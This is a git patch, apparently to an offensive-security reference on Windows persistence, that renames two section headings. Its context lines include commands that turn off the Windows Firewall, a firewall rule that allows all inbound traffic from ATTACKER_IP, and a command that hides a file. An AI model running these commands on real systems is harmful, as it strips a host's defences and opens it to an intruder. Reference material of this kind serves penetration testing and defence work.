From 767eb04af6ec377e8cdd1e478decc2fea7dd4e72 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Tue, 21 Jul 2020 19:48:57 +0200 Subject: [PATCH] Persistence - Typo --- Methodology and Resources/Windows - Persistence.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Methodology and Resources/Windows - Persistence.md b/Methodology and Resources/Windows - Persistence.md index c1fc028..b8fa0b6 100644 --- a/Methodology and Resources/Windows - Persistence.md +++ b/Methodology and Resources/Windows - Persistence.md @@ -5,7 +5,7 @@ * [Tools](#tools) * [Disable Windows Defender](#disable-windows-defender) * [Disable Windows Firewall](#disable-windows-firewall) -* [Userland](#userland) +* [Simple User](#simple-user) * [Registry HKCU](#registry-hkcu) * [Startup](#startup) * [Scheduled Task](#scheduled-task) @@ -51,7 +51,7 @@ NetSh Advfirewall set allprofiles state off New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP ``` -## Userland +## Simple User Set a file as hidden @@ -59,7 +59,7 @@ Set a file as hidden attrib +h c:\autoexec.bat ``` -### Registry +### Registry HKCU Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.